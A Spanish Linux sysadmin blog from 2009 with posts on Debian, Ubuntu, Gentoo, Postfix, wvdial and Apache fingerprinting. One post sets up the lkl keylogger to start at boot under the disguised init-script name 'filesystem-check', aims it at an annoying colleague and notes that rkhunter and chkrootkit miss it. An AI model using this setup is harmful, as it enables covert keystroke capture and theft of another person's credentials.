Seguridad. Postfix, por ejemplo, lo ha desarrollado Wietse Venema, autor de herramientas como los TCP Wrappers o el Coroner Toolkit. Es un reputado experto en seguridad informática y eso , como mínimo es una garantía de calidad. Que Red Hat, IBM o Debian GNU/Linux incluyan Posftix en su cojunto de paquetes quiere decir algo, no cree? ¿Conoce algún sistema de Bugtraq? Visite securityfocus y podrá comprobar que Exchange tiene más de 1800 reportes de errores, en contraposición a los 220 de Postfix. Si ha todo esto sumamos que Posftix, o Qmail o Sendmail o Exim corren perfectamente en GNU/Linux, Mac OS X o diversos sabores de *BSD ¿ Duda de Posftix o software similar no es seguro?.
Flexibilidad. Combinar Postfix con Spamassassin o ClamAV es un ejemplo de flexibilidad. Empresas como este o Kaspersky han desarrollado versiones específicas de sus productos.¿Cree realmente que si este producto no tuviese la calidad suficiente, estas empresas habrían desarrollado versiones para GNU/Linux o BSD?
Estándares: Unos de las características fundamentales en el desarrollo de aplicaciones libres es el cumplimiento, estricto en la mayoría de las ocasiones, de estándares de programación y comunicaciones.
Virus. Hablar de correos electrónicos es hablar de virus. Una máquina Unix no se bloqueará por que el virus X se adjunte al correo Y.


Alberto Permuy Leal
Agosto 2009

miércoles, 22 de julio de 2009

Respuesta a por qué Mint y no Ubuntu...

En primer lugar, dar las gracias al Anónimo que ha respondido al post publicado ayer. Sin ánimo de crear polémicas, respondo:

"Si ahora utilizo debian lenny es sin duda gracias(...)"

Discrepo; Ubuntu en sus inicios carecía de instalador gráfico,usaba el de Debian GNU/Linux; ahora mismo no tengo datos, pero no me parecería nada raro que la gente de Ubuntu utilizase una versión volatile del instalador de Debian GNU/Linux.

"De ubuntu no me gusto eso de tener que(...)"

Totalmente de acuerdo en lo que comentas acerca de LTS, sin embargo, no considero que la publicidad gratuíta sea algo que envidien las distribuciones; y aunque si es algo deseable, en mi opinión, temas como la estabilidad, accesibilidad, seguridad y simplicidad están por delante. Crees que una de las primeras distribuciones GNU/Linux, como es Debian GNU/Linux en este caso,cuya primera versión se liberó en agosto de 1993(hace 16 años!), necesita más o mejor publicidad que estos 16 años; es probable, pero no creo que el proyecto Debian GNU/Linux tenga como un objetivo principal "publicitarse".


"Respecto a lo que dices de la comunidad ubuntu(...)"
Quizá no me he explicado bien. Mi intención no es menospreciar a nadie, pero considero que la información y documentación de GNU/Linux no se resuelve en foros. Existen de hace muchos años, proyectos de documentación, como por ejemplo The Linux Documentation Project, o TLDP-ES/LuCAS. Las listas de correo resuelve, en la mayoría de los casos, problemas que nunca o con muy pocas probabilidades solucionaras en un foro.Quiero pensar que por falta de tiempo, o por lo poco amigable(no quiero decir accesible) de su web, aún no has visitado www.debian.org. Sabías que en esta web, relativo a documentación, puedes encontrar:
.- Guía de Instalación.(http://www.es.debian.org/releases/stable/installmanual) Para las 11 arquitecturas para las que Debian GNU/Linux tiene soporte, para idiomas tales como: inglés, español, koreano, japonés...actualizadas muchas de ellas a 2008 y 2009.
.-Preguntas de Uso Frecuente, actualizadas a 26 de Junio de 2008.
.-Guía de Referencia, idem que la anterior.
.-Notas de Publicación.Nada que añadir
.-Wiki de Debian.Se puede mejorar, pero tratan temas relativos a : Introducción rápida, Instalación,Administración,Servicios de Red.
.-Tarjetas de Referencias Rápida.¿Has descargado alguna vez una? Te recomiendo este enlace(http://xinocat.com/refcard/refcard-es-a4.pdf)
.-Guía de Referencia para el nuevo Desarrollador.Actualizado en 2007.
.-Debian Developer's Reference.Actualizado en 2007.

Además pueden encontrar mucho manuales y How to's.

"Lo de que el kernel viene supermodulado(...)"
De acuerdo contigo, tengo una optica distinta a la tuya. Comentas que "tiene que instalar a la primera como Windows". A mi no me gustan los imperativos, en todo caso, en mi opinión podríamos comentar "Como Microsoft Windows, cuando no tienes problemas con el hardware, debido a su pobre diseño, se suele instalar a la primera, los desarrolladores de distribuciones Linux o GNU/Linux, deberían cuidar los instaladores cuando liberen sus distribuciones.". Creo que el gran mérito(uno de ellos) de distribuciones GNU/Linux ha sido, entre otros, acercar Unix a la gente; falta mucho aún para llegar a un entorno equitativo entre usabilidad-facilidad-estabilidad, pero si tienes oportunidad, pregúntale a Tanenbaum o Ritchie qué le parecen los instaladores de las distribuciones Linux o GNU/Linux actuales. Un Sistema Operativo Unix-Linux-*BSD no es un juguete, es un Sistema Operativo, y funciona.Microsoft Windows, no lo es, desde el momento que necesita un antivirus para ¿funcionar?, carece de sentido llamarle así. La gente debe saber que para todo en la vida, existe una curva de aprendizaje,de conocimiento y de conceptos; el falso conocimiento se aprende con productos Microsoft a base de doble-clics y service packs.Personalmente prefiero el conocimiento por asimilación que por repetición, y tú?

"De otro lado, más que ubuntu tenga que reconocer el mérito de debian(...)"
Sinceramente este tipo de comentarios me hacen reflexionar y eso me gusta. Gracias, pero no estoy de acuerdo. Repito, un proyecto que lleva vivo 16 años, soporta 11 arquitecturas, con una comunidad sin ánimo de lucro detrás...si tuviese algo que agradecer, en primer lugar lo haría hacia su comunidad.Creo recordar que Ubuntu está basada en Debian GNU/Linux, insisto en GNU/Linux por que en ningún punto de respuesta citas GNU(con)Linux. Ubuntu debería dar las gracias a Debian GNU/Linux por:
.- Por ser libre y gratuíta.
.- Por su sistema de paquetes.
.- Por su documentación.
.- Por la calidad de su software, ligada directamente a la seguridad.
.- Por ser GNU/Linux.
.- Por su Contrato Social.[Ver]
.- Por su futuro, al no estar encadenada a una empresa o entidad.
.- Por hacer el trabajo duro: coordinar,programar,liberar,documentar...

"Y puestos a recomendar distros,(...)"

Y puestos a recomendar distro, te recomendaría Gentoo Linux.

Y con esto termino, si algún día te acercas por SCQ, tomamos un café, charlamos y pulimos diferencias...

martes, 21 de julio de 2009

¿Por qué Mint y no Ubuntu?

Dificil pregunta y difícil respuesta. En primer lugar me gustaría comentar que pese a mi posición la mayoría de las veces anti-Ubuntu, no dejo de reconocer el gran trabajo que han estado realizando desde 2004 la gente de Canonical.

Uso Ubuntu desde 2004, desde la versión 4.10. He trabajado con ella durante tiempo y me parece una gran distribución. Personalmente considero positivo del proyecto Ubuntu los siguientes puntos:
  • Acercamiento del S.O con kernel de Linux al público en general.
  • Han acertado escogiendo como base el proyecto Debian GNU/Linux.
  • Han acertado escogiendo GNOME como entorno de escritorio.
  • Han echo fácil lo difícil: que esta dificultad no sea un impedimento para usar un Sistema Operativo con kernel Linux.
No me gusta de Ubuntu:
  • Ubuntu debe a Debian GNU/Linux, a sus desarrolladores y a su comunidad lo que es hoy. Apenas reconocen este punto y personalmente me parece una falta de respeto.
  • Ubuntu carece un sistema de ramas de desarrollo "potente" , como de Debian(stable,testing,unstable,volatile...etc)
  • Muchos de los paquetes de Debian no están ni estarán ni de broma en Ubuntu. Uso Ubuntu en mi macbook y mi lista de repositorios está repleta de lineas que contienen ftp.es.debian.org/debian unstable...
  • La Comunidad. No me gusta que cualquier tipejo/a postee como solución a un problema "Reinstala la distribución y entras en Sistema...". Basta con echar un vistazo al los foros de ubuntu-es : ! Penoso !
  • Kernel. No me gusta que el kernel de Ubuntu se instale supra-modulado. Hay gente que piensa que si a la primera(entorno gráfico y tal) no funciona y/o detecta hardware, éste no funcionará. Amigos, esto no es Windows, están ante un Sistema Unix-Like, si de verdad quieren que funcione: estudien,lean,razonen y luego instalen; así se hacen las cosas, por lo menos en mi pueblo.
  • Ubuntu depende de una empresa.Recientemente, en las VI Xornadas de SwLibre de Mugardos, Rubén, del Proyecto Trisquel comentaba lo siguiente(más o menos). Que una distribución dependa de una empresa tienes su lado negativo: el dinero. La finalidad de una empresa es conseguir, facturar o "producir dinero". Qué sucederá cuando Mark Shuttleworth se aburra de dar dinero al proyecto? Estamos seguros de que todos los programadores asalariados(= trabajan por dinero) seguirán en el proyecto si en algún momento hay problemas de financiación?Debian GNU/Linux sin embargo, es una comunidad, sin ninguna empresa detrás. Vale HP y Google aportan dinero, pero el núcleo del proyecto no tiene implicaciones empresariales directas. Por otra parte, si le damos la vuelta a la tortilla tenemos Red Hat. No me vale. Red Hat "ha parido" su propia distro; ha parido Anaconda, ha parido miles de paquetes... Con el paso del tiempo ha dividido su proyecto y líneas de negoicio en RHEL y Fedora. Ambas de gran calidad, sobre todo Fedora. Red Hat es una referencia. Ubuntu de momento aún aspira a eso.El tiempo lo dirá.
¿Hacemos justicia? Últimamente es un bien escaso, por eso me gustaría reconocer el gran trabajo de la gente del Proyecto Mint, una distribución basada en Ubuntu, que tiene como lema "producir un escritorio elegante de GNU/Linux". No se han dedicado ha usar Reconstructor y lanzar "un nuevo sistema operativo", si no que han echo esto. Hagamos justicia con Trisquel GNU/Linux. Hagamos justicia con Gentoo Linux. Hagamos justicia con Fedora.Hagamos justicia con Slackware. ¿Qué hace mejor Mint que Ubuntu? Muchas cosas, pero principalmente eso, ser Mint. Abrirnos los ojos a un mundo fuera de Ubuntu. Salgamos del Matrix en el que nos hemos(yo incluído) encerrado con Ubuntu y démosle una oportunidad a la libertad.
Salud!

lunes, 13 de julio de 2009

Me gusta Gentoo



A menudo suelo aventurarme a la hora de dar mi opinión acerca de software y demás, pero en este caso creo que no. Conozco Gentoo de 2004 aproximadamente, desde el final de mi primera etapa Compostelana, hace ya más de 6 años. Cuando digo conozco, evidentemente no es en profundidad ni mucho menos.
Recuerdo que lo que leía siempre eran maravillas, como que sí "es una distribución que vuela..", "por y para geeks...". En 2006 conocí por casualidades de la vida a Andrés en el III CibernEncontro Kernel 2006 y la ví funcionar en un portátil Toshiba. La verdad es que como por aquel entonces comenzaba a alucinar con Debian, difícilmente sacaría tiempo para profundizar en paralelo en otra distribución GNU/Linux. Llegó VirtualBox y la cosa cambió. No sólo eso. Ahora se puede decir que tengo 2 máquinas estables: el sobremesa(clónico) y el macbook. El Macbook lo uso principalmente los fines de semana, cuando marcho a Mugardos. Llevo ya 14 meses con él y estoy encantado, tanto con MacOSX como con su rendimiento con distribuciones GNU/Linux. He probado Debian y Linux Mint; y ahora mismo desde hace un par de meses Ubuntu 9.04.
En casa, con el sobremesa, el AMDX2 Dual Core y los 8GB de RAM ayudan muchísimo para jugar con máquinas virtuales. En este mismo instante, tengo una Gentoo compilando vi y Debian como anfitrión y esto ni se entera. Al grano.

No me gusta de Gentoo:
  • Ausencia de instalador: Es un poco "coñazo" la instalación. Sí, muy geek, montándote todo a pelo y tal, pero en un entorno corporativo, será igual? Espero respuesta.
  • Tiempo instalación paquetes: Para instalar un paquetes debes "esperar" a que termine la compilación.
  • Compilar el Kernel: A efectos de aprendizaje es muy positivo que tengas que compilar el kernel, pero si necesitas una instalación rápida...Por no mencionar si te olvidas de dar soporte a un módulo, como por ejemplo el soporte de red.
Me gusta de Gentoo:
  • Aprendizaje: Realmente con Gentoo aprendes cosas. Al no tener instalador, conceptos con Gestor de Arranque,Particionado de Discos,Kernel...te quedan mucho más claros.
  • Optimización : Una bala, Gentoo es una bala. Como comentaba en el punto anterior, puede ser un punto en contra, pero a menudo es punto a favor. El rendimiento de la máquina aumenta considerablemente.
  • Portage: El gestor de paquetes es una maravilla.
  • Documentación: Es increíble : el wiki, los manuales, la comunidad...
Le estoy dando una oportunidad a Gentoo Linux, y la verdad es que no me ha defraudado en absoluto.

jueves, 9 de julio de 2009

Ese molesto pitido...

Creo recordar que en algún momento he recomendado la lectura del blog de Nasser Heidari. Recientemente ha publicado un post en el que indica como desactivar/eliminar el molesto pitido del speaker del PC. Es realmente sencillo, bastante con "cargarse" el módulo pcspkr.ko y listo.

[root@localhost] rmmod -v pcspkr.ko

Si añadimos al fichero /etc/modprobe.d/blacklist una entrada como esta, todo solucionado.

[root@localhost] echo "blacklist pcspkr" >> /etc/modprobe.d/blacklist

martes, 7 de julio de 2009

Jugando a ser malos...

Tengo medio abandonado el blog(falta de tiempo y mucho trabajo), pero bueno, hoy voy a dejar una perla, dedicada especialmente a un personaje que últimamente no para de molestarme, en lugar de hacer su trabajo; pues ahora, amigo mío, te presento a lkl, un keylogger para máquinas GNU/Linux.
Un keylogger es un "registrador" de teclas, es decir, guarda en un fichero todo que "tecleamos".
Para "jugar" con lkl, basta un simple apt-get:

[root@localhost]: apt-get install lkl
[root@localhost]: lkl -h
-- Linux Key Logger vers 0.1.1 --
usage:
-h this help
-l start to log the 0x60 port (keyboard)
-b Debug Mode.Perhaps it's usefoul :P
-k set a keymap file
-o set an output file
-m send logs to every 1k
-t hostname for sendmail server. default is localhost

Example: lkl -l -k keymaps/it_km -o log.file


Poco que explicar de la ayuda: simple y concisa. Por cierto, me flipa que tenga la posibilidad de enviar el log por email cada 1k, aunque pensándolo bien, es un poco cantoso...
El caso es que si queréis que lkl se inicie cada vez que se inicia el sistema, creamos un fichero en /etc/init.d/ , con el nombre(es lo de menos), por ejemplo filesystem-check, con el siguiente contenido:

#!/bin/bash
#
#
FICHERO_LOG=/root/log_keys.txt
mv $FICHERO_LOG $FICHERO_LOG.$$
touch $FICHERO_LOG
case "$1" in
start)
/usr/bin/lkl -l -k /usr/share/lkl/keymaps/us_km -o $FICHERO_LOG &
;;
stop)
pkill lkl
;;
*)
echo "Usa: /etc/init.d/lkl {start|stop}"
exit 1
;;
esac
exit 0

Ahora necesitamos que se ejecute al incio.

[root@localhost] update-rc.d filesystem-check
defaults

He probado con rkhunter y chkrootkit y no ha cantado nada. En fin , será cuestión de mejorar la implementación. De momento, sé de uno que se ha quedado sin...

viernes, 26 de junio de 2009

VI Xornadas, curiosidades y demás...

Mañana se celebran las VI Xornadas de Software Libre en el Concello de Mugardos. El resultado será el fruto de más de cinco años de trabajo del que suscribe y mis compañeros Evaristo y Pablo. Tengo la ponencia al 90%,a falta de unos pequeño retoques, pero por motivos de imprenta, la he tenido que subir a Slideshare.

Una de utilidades:
¿Como deshabilitar shell a un usuario?

chsh -s /sbin/nologin nombreusuario

¿Como monitorizar TX/RX?

watch 'netstat -aniv'

He probado GNUScreen, y la verdad es que me ha sorpredido gratamente. Os animo a que probeis este soft.
Saludos.

miércoles, 24 de junio de 2009

ssh_exchange_identification

Ayer por la tarde, configurando vsftpd en una máquina con Debian GNU/Linux añadí una interfaz de red a mayores. En principio todo parecía funcionar sin problemas. Probe la conectividad desde el segmento de red vía ICMP, pedí vía HTTP un documento al servidor web de esta misma máquina y todo parecía funcionar. La sorpresa es cuando, al llegar a casa ,intento conectarme vía SSH. Misión imposible, devuelve el error: ssh_exchange_identification. La solución fue muy sencilla :

echo 'SSHD: ALL' >> /etc/hosts.allow

Pero mi pregunta es la siguiente: ¿ por qué ? Esto es lo que odio muchas veces de los foros de Internet. La gente resuelve un problema despreocupándose del porqué, algo que a mi modo de ver es tanto o más importante que el propio problema en sí. Saber el origen ayuda a no volver a cometer el mismo error en un futuro. Pues manos a la obra. Vamos a intentar averiguar el por qué del ssh_exchange_identification.
Leo en este post, que OpenSSH usa TCPWrappers, escrito por el maestro Wietse Venema , os suena de algo. Postfix quizá? TCPWrappers es un sistema de Listas de Control de Acceso(ACL) para servicios de la pila de protocolos TCP/IP. Incluye una librería libwrap que incluye las principales funcionalidades de filtrado. Intuyo que al detectar que se ha añadido una nueva interfaz, la acción por defecto es denegar el acceso a SSH; y puesto que TCPWrapper usa /etc/hosts.allow y /etc/hosts.deny para definir qué servicios "envuelve",la explicación ahora, a mi modo de ver, queda un poco más clara, verdad?

Comprobamos si efectivamente OpenSSH está compilado con libwrap:

root@pilarrubio#ldd /usr/sbin/sshd
linux-gate.so.1 => (0xffffe000)
libwrap.so.0 => /lib/libwrap.so.0 (0xb7f3c000)
libpam.so.0 => /lib/libpam.so.0 (0xb7f31000)
libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xb7f2c000)
libselinux.so.1 => /lib/libselinux.so.1 (0xb7f12000)
libresolv.so.2 => /lib/i686/cmov/libresolv.so.2 (0xb7efc000)
libcrypto.so.0.9.8 => /usr/lib/i686/cmov/libcrypto.so.0.9.8 (0xb7da4000)
(...)

jueves, 18 de junio de 2009

Ocultando, viendo y luchando contra...

Después de más de dos semanas sin postear absolutamente nada, no por falta de ganas, más bien por falta de tiempo. Como comentaba, entre el trabajo,los cursos y la futura asociación y demás actividades, es difícil mantener la actividad del blog. Pero vamos a ello. Cosas interesantes que he visto vía RSS y demás.

Ver cabeceras HTTP en la línea de comandos.

alberto@debian:/tmp$ wget -S www.google.com -O /dev/null
--2009-06-18 05:58:49-- http://www.google.com/
Resolviendo www.google.com... 209.85.135.106, 209.85.135.147, 209.85.135.99, ...
Connecting to www.google.com|209.85.135.106|:80... conectado.
Petición HTTP enviada, esperando respuesta...
HTTP/1.0 302 Found
Location: http://www.google.es/
Cache-Control: private
Content-Type: text/html; charset=UTF-8

Ocultar versión PHP.
Buscamos la el fichero php.ini, en mi caso, en Debian GNU/Linux con apache2 y php5, el fichero en cuestión se localiza en /etc/php5/apache2/php.ini, como comentar Nasser Heidari "Haciendo esto, no harás tu servidor Web más seguro, solo harás que a los hosts remotos les sea un poco más difícil ver qué versión de PHP tienes corriendo en tu sistema".

expose_php = Off

Por cierto, estas tres referencias las he leído en el blog de Nasser. Os recomiendo una entrada reciente , en la que comenta cómo evitar en Apache2 ataques de BruteForce y DoS.
Crear un fichero "ficticio" , en este caso de 10M.
Este es "cojonudo" cuando en una LAN party, en un Server Direct Connect , ponen restricciones del tipo "Mínimo 30GB para poder acceder al servidor", pues toma GB...

dd if=/dev/zero of=testfile.txt bs=1M count=10

Añadir timestamp a mysqldump.

$ mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz


De momento esto es todo.

martes, 2 de junio de 2009

Jugando con mknod

Al generar la llave rsa con ssh-keygen recibo un error del tipo:

apermuy@bezoucos:~$ ssh-keygen
Couldn't open /dev/null: Permission denied

Investigando un poco, llego a la conclusión de que el usuario en cuestión no tiene permisos de escritura en /dev/null. Al ser este un dispositivo que no existe, debemos tirar de mknod para crearlo de nuevo, como en el siguiente ejemplo:

root@bezoucos:/home/bezoucos# mknod --mode=666 /dev/null c 1 3

El mode está claro lo que indica, c indica que es un dispositivo de caracteres con un número mayor que 1 y menor que 3.

Ahora parece que ssh-keygen no se queja:

apermuy@bezoucos:/home/bezoucos$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/apermuy/.ssh/id_rsa):

Documentar mola!

Aceptamos FTP como protocolo inseguro.


Wireshark a calado en los SysAdmins, de eso no hay duda; lo triste de esta historia es que muchos desconocen Ethereal. Pero bueno, muchas veces se lleva la gloria el programador de la GUI en lugar del que se lo ha currado de verdad, sin quitar mérito al primero claro.
Hace unos minutos jugaba con Wireshark para ver qué datos pillaba de una web que estoy programando, y he recordado lo inseguro que es FTP. En su lugar, usa scp,ssh o sshfs.
Fijaos bien en esta captura de pantalla repetid conmigo en voz alta: "Sí, aceptamos FTP, al igual que Windows XP , como protocolo inseguro".

jueves, 28 de mayo de 2009

100%

Estoy al 100%. Desde el día 11 de Mayo estoy haciendo el módulo BCMSN de CCNP, de Lunes a Jueves de 16:30 a 20:45; unido a mi horario laboral de 08:00 a 15:00 horas, os podéis imaginar el poco tiempo que tengo. A modo de mini-resumen semanal, me gustaría añadir unas notas, más que nada para mi recordatorio personal.

Laboral
  • A vueltas con PHP y MySQL.
  • He visto cosas interesantes para importar directamente desde CSV a MySQL.Bastante sencillo con un script en bash, que ahora mismo no localizo.
  • Confirmar que los usuarios de Microsoft Windows, por lo menos la gran mayoría, a parte de "no tener ni idea", no se preocupan lo más mínimo por aprender a utilizar y optimizar su sistema.
  • Estoy trabajando directamente vía SSHFS sobre un directorio en una máquina de desarrollo virtualizada sobre VMWare con unos resultados más que óptimos.Mola!
  • A nivel de seguridad tampoco he hecho grandes cosas: portsentry,lynis...y algún que otro script. Cuestión de tiempo.
CCNP
  • En general: Después del CLP es el curso que más me ha gustado. Un 10 al docente, por conocimientos y ganas.
  • HSRP,VRRP Y GLBP: Interesante, lástima que ahora mismo no pueda tocar Routers Gordos, ya que en el trabajo usan Fortinet. Personalmente lo solucionaría con Quagga, HA, UltraMonkey y esas cosillas que nos gustan a los GNULinuxeros(vale,a veces, las menos, también Maquero, pero con "ports included").
  • Etherchannel: Ah, pero eso no se hacía con ifenslave?(Jaajajjaj)
  • CEF: No me quedó muy claro. Tendré que repasar los apuntes.
  • VLAN & Spanning Tree: Ya lo había visto en el CCNA, pero nunca está demás repasarlo. De VTP casi ni me acordaba.
Personal
  • vsftpd. Instalaré un FTP Server contra MySQL, ahora que sé que libpam-mysql-0.6 hace bugi-bugi, todo será más fácil.
  • Asterisk. En unos seis meses puede salir algo de VoIP. A esperar.
  • Wireless: Para el Kernel 2009 tenemos pensado montar algo guapo con Wifi. Unos pirulos para emitir la señal a todo el pueblo de Mugardos. A ver qué sale.
  • Cisco: He echo cosillas en un 857 esta semana.
  • Xornadas SwLibre 2009. Casi todo listo. Más info aquí.
  • Nuevo monitor de 21,6. Mi regalo de cumpleaños( 30 ).

domingo, 24 de mayo de 2009

Paso del Escritorio Movistar, viva wvdial !

Me he cansado del Escritorio Movistar. Puedo decir que en MacOSX sí funciona bien. Nunca me ha dado problemas, salvo los derivados de la falta de cobertura. Hace un par de semanas le he reinstalado el SO al portátil de mi padre, le he quitado Window$ XP y le he instalado Ubuntu 8.10. Hasta hoy no se ha quejado, con lo cual deduzco que su "pincho 3G" y el Escritorio Movistar funcionan correctamente. No puedo decir lo mismo en Debian GNU/Linux. Si bien es cierto que tengo un sistema más que híbrido , con una mezcla de repositorios que ni yo mismo sé. He indagado algo en el wiki de Debian, y me he enterado de que las interfaces GTK y demás, todas o casi todas, llaman al comando wvdial; pues manos a la obra. En 30 minutos ya tenía el fichero de configuración listo: wvdial.conf. En el blog de amperis tenéis la configuración, pero yo la dejo por aquí.
Fichero wvdial.conf

[Dialer Defaults]
Modem = /dev/ttyUSB0
Modem type = USB Modem
Stupid Mode = 1
Dial Command = ATD
[Dialer pin]
Init1 = AT+CPIN=0000
[Dialer hsdpa]
ISDN = 0
Username = movistar
Password = movistar
Phone = *99***1#
Baud = 460800
Init2 = AT
Init3 = AT&F&D2&C1E0V1S0=0
Init4 = AT+IFC=2,2
Init5 = ATS0=0
Init6 = AT
Init7 = AT&F&D2&C1E0V1S0=0
Init8 = AT+IFC=2,2

Evidentemente debéis cambiar en la cadena Init1 = AT+CPIN=0000, el 0000 por vuestro PIN. Para simplificar la conexión, nos creamos un script en bash para lanzar cuando queramos usar el pincho.

#!/bin/bash
clear
echo "CONEXION 3G MOVISTAR"
wvdial pin
sleep 5
wvdial hsdpa

martes, 19 de mayo de 2009

Resumen MoodleMoot Euskadi 2009

A las 08:15 llego al edificio central de la Universidad de Deusto. Localizo la cafetería, arranco la máquina y pido el primer café de la mañana. Primeros twitts y repaso al correo, tanto personal como laboral. A los dos minutos me fijo que he pasado de 3G a GPRS, con lo cual, decido abandonar la cafetería, previo pago de la consumición, por supuesto, y me dirijo al edificio CRAI(Biblioteca) de Deusto. Para llegar, necesitas cruzar el Puente de Pedro Arrupe. La verdad es que sólo por las vistas merece la pena. A las 09:00 es la recepción y acreditación. Todo muy bien organizado, con una mesa a las puertas del CRAI, en la que te acreditas y recibes toda la documentación de las Jornadas. Entro en el Auditorio. Unas 20 personas esperan a que Anibal de la Torre arranque con su ponencia. Mientras, decido esperar en la cafetería hasta las 09:30, que es la hora oficial de inicio de la MoodleMoot. Me ha llamado la atención el enfoque 2.0 de las Jornadas.
  • Wifi: Como un tiro; normal, están enchufados al canuto de RedIris.
  • Twitter: Muchos asistentes twitteamos con el hashtag #mooteu09, sirvió para compartir en tiempo real impresiones del evento.
  • Flickr: Colgaban las fotos en Flickr...mola!
  • Streaming: En principio de audio y video, al final sólo de audio, pero por lo que me han comentado, con una calidad excelente.
La charla de Aníbal de la Torre estuvo muy bien. 7 sobre 10. Tocando temas relacionados con la educación, la red y la alfabetización, con dosis de humor andaluz. El mejor resumen lo podéis encontrar en http://search.twitter.com, buscando por el hashtag #mooteu09.
Pausa para el café y continuamos. Estas dos horas se basaron básicamente en compartir experiencias Moodle en entorno educativos no Universitarios. Personalmente, la más interesante fue la presentación del proyecto HablaPalabra. Vía twitter contacté con dvidal y su compañeros de HablaPalabra; y posteriormente con Marcos de trestizas : qué simpático es el tipo, menuda risas nos echamos en los pintxos.
Pausa de nuevo para picar algo y por la tarde Jornada técnica. Los chicos de Deusto son unos freaks de Moodle. Sus charlas se basaron en la implementación de Moodle en Deusto y la migración del LMS Alud a Moodle, dando claves y consejos de buen uso. Por motivos de tiempo, es imposible que pueda contar más de la MoodleMoot Euskadi 09. Sólo decir que ha sido una experiencia muy grata, que espero, algún día, poder repetir. Agur!

lunes, 18 de mayo de 2009

Flickr

Tanta web 2.0 me estaba volviendo logo. He actualizado mi perfíl en Flickr, por si a algún lector le interesa.Enlace

jueves, 14 de mayo de 2009

Happy Freak Telnet!

telnet towel.blinkenlights.nl

lunes, 11 de mayo de 2009

Alegrando el acceso a la shell

De vuelta de las vacaciones, y alejada la pereza de postear, retomo el placer de escribir en este pequeño pedacito de ciberespacio. Aún no sé dónde, ni quién ni vía no sé qué RSS me entero de la existencia de un paquete para Debian GNU/Linux de nombre fortune. En realidad es un paquete innecesario, pero curioso y gracioso. Recopila citas y las muestra en la shell. Basta con agregar un línea como la que sigue en nuestro fichero .bashrc para que cada vez que accedamos a la shell,nos alegre la mañana.

[root@patriciaconde]apt-get update && apt-get install fortunes fortunes-es
[root@patriciaconde] echo "/usr/games/fortune" >> /home/alberto/.bashrc

La primera cita que ha mostrado después de instalarlo es :
"Yo soy alcohólico, apostólico y romano"
No se puede decir que no es un paquete que, a pesar de carecer de utilidad, es simpático, o por lo menos a mi me lo parece.



lunes, 27 de abril de 2009

Cambiar fingerpint Apache2[ Actualización ]

Mañana marcho de vacaciones , haciendo una breve escala,hasta el día 6 de Mayo, así que hasta entonces tendré esto un poco parado. Han enviado un comentario sobre el post anterior del cambio de fingerprint en Apache2. Apuntan no es necesario compilar el paquete, que basta con habilitar mod_security. Lo cierto es que ahora no tengo tiempo, pero por lo poco que he leído sí se puede hacer. Entre mis planes está escribir algo sobre mod_security, me parece muy interesante.

viernes, 24 de abril de 2009

Cambiar fingerprint Apache2

A raíz de una conversación con un coleguilla, acerca Cherokee, me comentaba las bondades de este software, que estaba escrito en C, tiene soporte para PHP,CGIs y demás. También comentábamos el poco consumo memoria y recursos en general. Mi pregunta fue "¿Sabes o has cambiado el fingerprint de Apache2?". Nunca lo había hecho pero llegamos a la conclusión de que compilando desde las fuentes se podría modificar. Tenía razón. Intentaré explicarlo con un ejemplo. Pero antes de nada.¿Qué es un fingerprint? Como siempre, hay mucha información en la red, pero podemos definirlo como "la impresión de una huella en cualquier tipo de superficie". Extrapolando a términos de networking, podríamos definirlo como "la repuesta(huella) que devuelve un servicio ejecutándose en una máquina cuando recibe una petición(...)".¿Por qué modificar esta respuesta?. A esta pregunta respondería con otra: ¿Y por qué no? Supongo, y creo que no voy mal encaminado, que a quién le interese el tipo y versión del software que se ejecuta en una máquina, tendrá como mínimo un interés de dudosa finalidad. Voy a otorgarle el beneficio de la duda. También por que con un simple nmap podemos "descubrir" de un modo muy sencillo estos datos. Ejemplo:

root@debian alberto#nmap -A server.ejemplo -p 80
Starting Nmap 4.68 ( http://nmap.org ) at 2009-04-24 10:16 CEST
Interesting ports on server.ejemplo:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS webserver 5.0
MAC Address: 00:50:56:A9:4D:AB (VMWare)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2000
OS details: Microsoft Windows 2000 SP4
Network Distance: 1 hop
Service Info: OS: Windows
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.792 seconds

Vamos al grano. Evidentemente, para modificar el fingerprint de Apache, debemos descargar las fuentes de Apache.org y compilar el paquete. No temais, es muy sencillo.Con el paquete httpd-2.2.11.tar.gz desempaquetado en nuestra máquina, procedemos a instalar unos cuantos paquetes necesarios para el proceso de compilación:

[root@debian]apt-get update && apt-get install gcc make

Dentro del directorio de httpd-2.2.11/include editamos el fichero ap_release.h,
localizamos las siguiente cadenas y modificamos los valores a nuestro gusto:

#define AP_SERVER_BASEVENDOR "La Sexta Software Foundation"
#define AP_SERVER_BASEPROJECT "Patricia Conde Server"
#define AP_SERVER_BASEPRODUCT "Jachonda"

#define AP_SERVER_MAJORVERSION_NUMBER 1
#define AP_SERVER_MINORVERSION_NUMBER 1
#define AP_SERVER_PATCHLEVEL_NUMBER 1
#define AP_SERVER_DEVBUILD_BOOLEAN 0

Ahora, como siempre, ./configure && make && make install. Si no ha dado ningún error, debemos añadir al fichero httpd.conf el "ServerSignature On" para comprobar que añade la "firma" de nuestro nuevo Patricia Conde Server.
Ejemplo de un Error 404 :

La pruebas las he realizado sobre una Debian GNU/Linux 5.0 NetInstall sobre VirtualBox 2.14 corriendo en Debian Testing con Kernel 2.6.27.

jueves, 23 de abril de 2009

Rendimiento de un proveedor de Hosting.

Al hilo de un twitt de un coleguilla, me pregunta, aún no sé muy bien el porqué, acerca de cómo "medir" el rendimiento de un proveedor de Hosting. La verdad es que la pregunta es muy interesante. Nunca me lo había preguntado directamente; pero intentaré responder de un modo coherente. Realmente la respuesta es compleja, ya que un "hosting" puede alojar multitud de servicios: web,correo,ftp,cvs...etc.Empecemos por la cuestiones generales:


Cuestiones Generales, me fijaría principalmente en :

  • Calidad de las respuestas y tiempo en responder ante duda antes de la "compra".
  • Calidad del proceso de registro/compra.[Amigable/Complejo]
  • Notificaciones acerca actualizaciones
  • Periodo de prueba gratuito[Si/No]
  • Calidad de la documentación y manuales.
  • Calidad y tiempo de respuesta antes cuestiones técnicas.
  • Formas de contacto: mail,telefono,skype...etc.
  • Precio/Calidad

Cuestiones Técnicas

